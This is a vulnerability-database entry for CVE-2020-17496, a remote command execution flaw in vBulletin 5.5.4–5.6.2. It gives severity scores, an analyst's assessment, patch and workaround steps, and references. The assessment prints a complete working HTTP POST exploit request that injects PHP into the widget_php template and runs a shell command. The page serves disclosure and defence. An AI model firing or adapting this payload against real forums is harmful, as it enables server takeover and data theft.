7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
0.975 High
EPSS
Percentile
100.0%
vBulletin 5.5.4 through 5.6.2 allows remote command execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of an incomplete fix for CVE-2019-16759.
Recent assessments:
zeroSteiner at September 02, 2020 1:23pm UTC reported:
A vulnerability exists in vBulletin that can allow the protections originally put in place to address CVE-2019-16759 to be bypassed. The vulnerability exists in how the patch handles child templates that are rendered by the widget_php
template. A detailed write up which analyzes the patch and describes the issue regarding the child templates was posted to blog.exploitee.rs by the original author who discovered the vulnerability.
Successful exploitation involves an HTTP POST request and yields code execution in the context of the web application user. Due to the nature of templates, the result of the evaluation is included in the rendered output, allowing attackers to retrieve the output of their commands which makes the vulnerability more useful.
POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
Host: 192.168.250.5
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: application/x-www-form-urlencoded
Content-Length: 168
subWidgets%5b0%5d%5btemplate%5d=widget_php&subWidgets%5b0%5d%5bconfig%5d%5bcode%5d=echo%20shell_exec%28base64_decode%28%27ZWNobyBra3hmenJLeQ%3d%3d%27%29%29%3b%20exit%3b
This vulnerability was fixed in vBulletin version 5.6.3, with patches released for versions 5.6.0, 5.6.1 and 5.6.2.
To temporarily remediate the vulnerability, delete the βwidget_phpβ module by following these steps:
Put the site into debug mode.
Log into the AdminCP.
Go to Styles > Style Manager.
Open the template list for the MASTER style.
Scroll to the bottom where it says Module Templates.
Highlight the widget_php module.
Click the Revert Button.
Assessed Attacker Value: 4
Assessed Attacker Value: 4Assessed Attacker Value: 5
blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail
blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/
cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17496
cwe.mitre.org/data/definitions/78.html
forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4445227-vbulletin-5-6-0-5-6-1-5-6-2-security-patch
seclists.org/fulldisclosure/2020/Aug/5
7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
0.975 High
EPSS
Percentile
100.0%